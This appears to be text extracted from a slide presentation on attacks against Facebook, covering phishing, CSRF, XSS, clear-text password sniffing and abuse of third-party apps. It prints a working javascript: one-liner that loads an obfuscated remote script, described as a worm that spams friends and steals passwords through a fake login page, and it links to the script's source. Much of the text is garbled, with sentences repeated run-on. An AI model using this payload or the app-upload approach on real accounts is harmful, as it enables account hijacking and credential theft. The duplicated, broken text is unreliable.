facebook attacks

PhisingCSRF attackJava scriptsXSS

Facebook Phising

Facebook CSRF attack

Third party app server

There are many other attacks possible likeThere are many other attacks possible like

•Brute forcingBrute forcing

•Cookie stealingCookie stealing

•Commercial Data miningCommercial Data mining

•Database Reverse-EngineeringDatabase Reverse-Engineering

Password Interception

•The fact that the username and password were sent in clear text The fact that the username and password were sent in clear text is a security vulnerability.is a security vulnerability.

• There are chances to read Facebook user names and There are chances to read Facebook user names and passwords off of the Ethernet or unencrypted wireless traffic, passwords off of the Ethernet or unencrypted wireless traffic, obtaining access to users’ Facebook passwords, as well as any obtaining access to users’ Facebook passwords, as well as any additional accounts they use those passwords for.additional accounts they use those passwords for.

•Also the tabnabbing and CSRF have gained popularity over the Also the tabnabbing and CSRF have gained popularity over the open platformopen platform

Current Facebook Precaution: Current Facebook Precaution:

Facebook currently takes no steps to protect user passwords in transitFacebook currently takes no steps to protect user passwords in transit.

javascript:d=document;c=d.createElement(%22script%22);d.body.appendChild(c);c.src=%22ht%22+%22tp:%22+%22//su%22+%22.%22+%22ly%22+%22/%22+%222wL%22;void(0)

FREE!! CELLPHONE RECHARGE::..

This Script very popularly seen on Facebook, Orkut and Many other Social Networking sites.

AnalysingAnalysing and Demo and Demo

What does It do?

•It is  sending messages to all my friends to Recharge from It is  sending messages to all my friends to Recharge from accountaccount

•It is adding comments  in Albums of my friendsIt is adding comments  in Albums of my friends

•It is  creating Threads in the Communities I Joined saying It is  creating Threads in the Communities I Joined saying that “Recharge this” also its  adding some other that “Recharge this” also its  adding some other Communities to my listCommunities to my list•Redirects you to the Fake FB login page after 10-15 mins Redirects you to the Fake FB login page after 10-15 mins stealing your passwordstealing your password

Source Script @ http://www.mediafire.com/?t2lagmvsvftww28http://www.mediafire.com/?t2lagmvsvftww28

http://www.facebook.com/profile.php?id=100000781542573

www.facebook.com/username

The Facebook Platform

API – The API defines the various methods through which you can interact API – The API defines the various methods through which you can interact with Facebook. If you’re not familiar with the idea of an API, take a look at with Facebook. If you’re not familiar with the idea of an API, take a look at some recent Digital Web articles: APIs and Mashups for the Rest of Us and some recent Digital Web articles: APIs and Mashups for the Rest of Us and Hacking on Open APIs.Hacking on Open APIs.

FBML – Facebook Markup Language is a custom markup language based on FBML – Facebook Markup Language is a custom markup language based on various bits of HTML. It’s similar to Coldfusion or ASP.NET’s tag-based various bits of HTML. It’s similar to Coldfusion or ASP.NET’s tag-based syntax, and is used to define the pages in your application.syntax, and is used to define the pages in your application.

FQL – Facebook Query Language is SQL for Facebook. A powerful query FQL – Facebook Query Language is SQL for Facebook. A powerful query language for situations where there are no existing helper methods in the language for situations where there are no existing helper methods in the API, or handy tags in FBML, to do exactly what you need.API, or handy tags in FBML, to do exactly what you need.

How to add an application in Facebook

How can this be Used For Exploiting?

•You can Upload your own Application of any type.

•So doesn’t this strike you something of a hackers insterest

How can this be Used For Exploiting?

THANK YOUTHANK YOU